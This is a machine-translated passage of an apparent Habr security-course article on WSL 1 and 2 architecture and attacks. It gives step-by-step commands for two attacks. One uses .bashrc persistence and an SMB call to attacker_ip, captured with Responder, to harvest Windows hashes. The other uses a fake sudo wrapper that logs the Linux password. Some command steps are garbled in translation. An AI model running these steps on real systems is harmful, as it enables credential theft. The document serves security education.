Experiments WSL. Part 1

Hola, habr! OTUS llança un nou curs a l'octubre "Seguretat de Linux". En previsió de l'inici del curs, compartim amb vosaltres un article escrit per un dels nostres professors, Alexander Kolesnikov.

Experiments WSL. Part 1

El 2016, Microsoft va presentar la nova tecnologia WSL a la comunitat informàtica (Wdins Ssubsistema per Linux), que en el futur va permetre unir competidors abans irreconciliables que lluitaven per la popularitat entre els usuaris del sistema operatiu normal i avançat: Windows i Linux. Aquesta tecnologia va permetre utilitzar les eines del sistema operatiu Linux en un entorn Windows sense necessitat d'executar Linux, per exemple, amb l'arrencada múltiple. A Habr podeu trobar un gran nombre d'articles que descriuen els avantatges d'utilitzar WSL. Tanmateix, malauradament, en el moment de la creació d'aquest article, no es van trobar estudis sobre la seguretat d'aquesta simbiosi de sistemes operatius en aquest recurs. Aquesta publicació serà un intent de corregir-ho. L'article parlarà de les característiques de les arquitectures WSL 1 i 2 i examinarà diversos exemples d'atacs a sistemes que utilitzen aquestes tecnologies. L'article està dividit en 2 parts. El primer proporcionarà els principals mètodes d'atac teòrics de Linux i Windows. El segon article implicarà configurar un entorn de prova i reproduir els atacs.

WSL 1: característiques arquitectòniques

Per a una immersió més precisa en els problemes de seguretat WSL, cal determinar els principals matisos associats a la implementació del subsistema. Una de les principals tasques d'usuari resoltes per WSL és la capacitat de treballar a través d'un terminal Linux en un host amb sistema operatiu Windows. A més, la compatibilitat que s'ofereix era tan nativa que els executables de Linux (ELF) es podien executar directament en un sistema Windows. Per assolir aquests objectius, es va crear un subsistema especial a Windows 10 que us permet executar aplicacions Linux mitjançant un conjunt de trucades de sistema específiques; per tant, es va intentar mapar un conjunt de syscall de Linux a Windows. Això es va implementar físicament afegint nous controladors i un nou format de procés. Visualment, l'arquitectura es veia així:

Experiments WSL. Part 1

De fet, la interacció amb el sistema operatiu Linux es va organitzar mitjançant diversos mòduls del nucli i un tipus especial de procés: pico. Al diagrama anterior, podeu veure que el procés que s'executa a la instància de Linux a l'amfitrió ha de ser natiu i ha d'utilitzar els mateixos recursos que les aplicacions normals de Windows. Però com aconseguir-ho? En projecte Passarel·la Es van desenvolupar conceptes de procés per a Windows que proporcionaven tots els components necessaris del sistema operatiu (segons la seva versió) per executar una aplicació d'un altre sistema operatiu.

Tingueu en compte que l'abstracció proposada va permetre no centrar-se en el sistema operatiu (en particular, Windows), en el qual s'espera que s'iniciï el procés d'un altre sistema operatiu, i va suggerir un enfocament general.

Així, qualsevol aplicació dins del procés pico es podria executar sense tenir en compte el nucli de Windows:

  1. Els problemes de compatibilitat i traducció de les trucades del sistema han de ser resolts per proveïdors especials;
  2. El control d'accés s'ha de fer mitjançant el Monitor de seguretat. El monitor es troba al nucli i, per tant, Windows necessitava una actualització en forma d'un nou controlador que pogués actuar com a proveïdor d'aquests processos. El procés de pico prototip es presenta esquemàticament a continuació:

Experiments WSL. Part 1

Com que el sistema de fitxers Linux utilitza noms de fitxers i directoris que distingeixen entre majúscules i minúscules, s'han afegit 2 tipus de sistemes de fitxers a Windows per treballar amb WSL: VolFS i DriveFS. VolFS és una implementació del sistema de fitxers Linux, DriveFS és un sistema de fitxers que funciona segons les regles de Windows, però que té la capacitat de seleccionar la distinció entre majúscules i minúscules.

WSL 2

WSL 1 tenia una sèrie de limitacions que no permetien utilitzar-lo per resoldre el màxim de tasques: per exemple, no tenia la capacitat d'executar aplicacions Linux de 32 bits i era impossible utilitzar controladors de dispositiu. Per tant, el 2020 es va llançar WSL 2, que va canviar l'enfocament de la construcció del subsistema. WSL 2 és una màquina virtual optimitzada que coincideix amb les característiques de consum de recursos de WSL 1. Ara, depenent dels problemes resolts per l'usuari del sistema operatiu Windows, podeu seleccionar la versió necessària del subsistema Linux. Per mitigar possibles vulnerabilitats, es va implementar WSL 2 basat en Hyper-V a Windows 10. D'aquesta forma, Windows té la capacitat d'executar el nucli del sistema operatiu Linux de manera aïllada. Val la pena recordar que la versió 1 de WSL es va introduir com una funció beta que se suposava que mostrava la direcció del desenvolupament de Windows en aquesta àrea, per la qual cosa la transició a Hyper-V era inevitable. L'arquitectura final és així:

Experiments WSL. Part 1

En aquesta versió, els nuclis de Windows i Linux tenen els seus propis recursos i la intersecció només existeix al sistema de fitxers, però aquesta intersecció no està completa. La interacció entre sistemes de fitxers es realitza mitjançant un embolcall client-servidor que funciona mitjançant el protocol 9P.

Avui Microsoft ofereix la possibilitat de canviar entre WSL 1 i WSL 2. Les dues versions estan disponibles per utilitzar-les.

Seguretat WSL

De moment, hi ha diversos treballs que descriuen alguns enfocaments per utilitzar eines legítimes del sistema operatiu per atacar la comunicació entre subsistemes. Utilitzarem els seus guions per comprovar la rellevància dels atacs en el moment d'escriure. Llista general d'atacs i escenaris:

1. Implementació del sistema de fitxers: drets d'accés, disponibilitat de directoris compartits/mecanismes d'intercanvi de dades.

Es va dur a terme una investigació per determinar les violacions de les normes d'accés de Linux FS->Windows FS, Windows FS->Linux FS. La investigació ha demostrat la capacitat de modificar un fitxer determinat dins del sistema operatiu objectiu. També es va intentar substituir, crear duplicats i eliminar part dels sistemes de fitxers.

Escenari:

  • A. Atac des del sistema operatiu Windows - modificació dels fitxers del directori /etc del sistema operatiu Linux.
  • B. Atac des del sistema operatiu Linux - modificació dels fitxers als directoris: C:Windows, C:Program Files, C:Users<User>

2. Implementació de la pila de xarxa.

La investigació es va dur a terme utilitzant exemples d'atacs del sistema operatiu Linux a Windows. Es van utilitzar les característiques de la pila de xarxa, és a dir, mecanismes d'autenticació en diversos recursos.

Escenari:

  • Obrint l'accés a un port que està ocupat en un sistema Windows
  • Obrir un port sense els drets corresponents
  • Execució de l'intèrpret d'ordres invers mitjançant el fitxer elf al sistema operatiu Windows.

3. Ocultar el llançament de processos de programari maliciós mitjançant el subsistema WSL.

La investigació es va basar en un fet senzill: els subsistemes de seguretat no poden interceptar esdeveniments en un altre nucli que funcioni amb un proveïdor legítim del sistema operatiu en el cas de WSL 1. En el cas de WSL 2, no hi ha manera de veure els esdeveniments que es produeixen. en un nucli separat dins de la màquina virtual lleugera.

Escenari:

1) Inicieu l'aplicació d'accés remot al sistema i visualitzeu els esdeveniments registrats.

Experiments WSL 1: intercepció hash (Windows)

Finalment hem arribat a la part pràctica. Primer, heu de configurar l'entorn de prova. Tots els experiments es realitzaran en un banc amb Windows 10 2004 instal·lat. La imatge d'Ubuntu 18.04 es va triar com a imatge del sistema operatiu per a WSL. La imatge es va triar a l'atzar i qualsevol altra funcionarà igual. Ordres per muntar un estand:

Primer has de llançar powershell.exe com a administrador.

Per a WSL 1, heu d'executar les ordres:

  1. Enable-WindowsOptionalFeature -Online -FeatureName Microsoft-Windows-Subsystem-Linux #Включить функцию WSL
  2. Invoke-WebRequest -Uri aka.ms/wsl-ubuntu-1804

-OutFile ~/Ubuntu.appx -UseBasicParsing #Загрузить образ Linux из магазина Microsoft

  • Ubuntu.appx install —root #Установим образ
  • Возможно, придется прокликать процесс настройки и создать нового пользователя, который будет иметь меньше прав, чем root. Для наших тестов это будет обычный пользователь sam.
  • Restart-Computer #Перезагрузим
  • Després de reiniciar l'estand, podeu trucar a l'ordre bash. Si tot va funcionar correctament, veureu una sortida similar a aquesta a la consola de Windows:

    Experiments WSL. Part 1

    Utilitzarem la distribució Kali Linux com a màquina de l'atacant; totes les màquines han d'estar a la mateixa xarxa local.

    Suposem que tenim accés sense privilegis a WSL en una màquina Windows. Intentem atacar el sistema operatiu Linux cridant una ordre des de Linux. Per implementar l'atac, utilitzarem una tècnica senzilla d'execució automàtica: afegirem el nostre script per a l'execució a l'entorn Linux. Per fer-ho, cal canviar el fitxer .bashrc.

    En una màquina amb WSL executem:

    	1. bash
    	2. Переходим в домашнюю директорию пользователя: cd /home/sam/
    	2. echo  «/home/sam/.attack.sh» >> .bashrc
    	3. echo «icalcs.exe » \\\\attacker_ip\\shareName\\» > /dev/null 2>&1» >> .attack.sh
    	4. chmod u+x .attack.sh
    	5. exit

    En una màquina Kali Linux executem:

    1. Responder -I eth0 -rdvw

    En una màquina Windows, iniciem bash.

    Estem esperant el resultat a la màquina Kali Linux:

    Experiments WSL. Part 1

    Així, vam obtenir els hash d'usuari de Windows mitjançant el subsistema WSL executant l'ordre al sistema Linux.

    Experiments WSL 1: obtenció de la contrasenya d'usuari (SO Linux)

    Fem un experiment més. Durant aquesta comprovació afegirem al fitxer .bashrc diverses ordres per obtenir la contrasenya d'usuari del sistema operatiu Linux.

    Llencem bash i introduïm les ordres:

    1. mkdir .hidden
    2. echo "export PATH=$HOME/.hidden/:$PATH:" >> .bashrc
    3. echo "read -sp "[sudo] password for $USER: " sudopass" > .hidden/sudo
    4. echo "echo """ >> .mysudo/sudo
    5. echo "sleep 2" >> .mysudo/sudo
    6. echo "echo "Sorry, try again."" >> .mysudo/sudo
    7. echo "echo $sudopass >> /home/sam/.mysudo/pass.txt» >> .mysudo/sudo
    8. echo "/usr/bin/sudo $@" >> .mysudo/sudo
    9. chmod +x .mysudo/sudo
    10. exit

    Per completar l'atac amb èxit, l'usuari Sam ha de trucar a sudo al terminal Linux. Després d'això, la contrasenya d'usuari del sistema operatiu Linux estarà al fitxer pass.txt:

    Experiments WSL. Part 1

    La implementació dels atacs es va donar només per informació teòrica.

    La següent part de l'article descriurà la implementació del protocol 9P, es plantejarà la creació d'un escàner per a aquest protocol i també realitzarà un atac utilitzant-lo.

    Llista de literatura usada

    Experiments WSL. Part 1

    Llegeix més

    Font: www.habr.com

    Afegeix comentari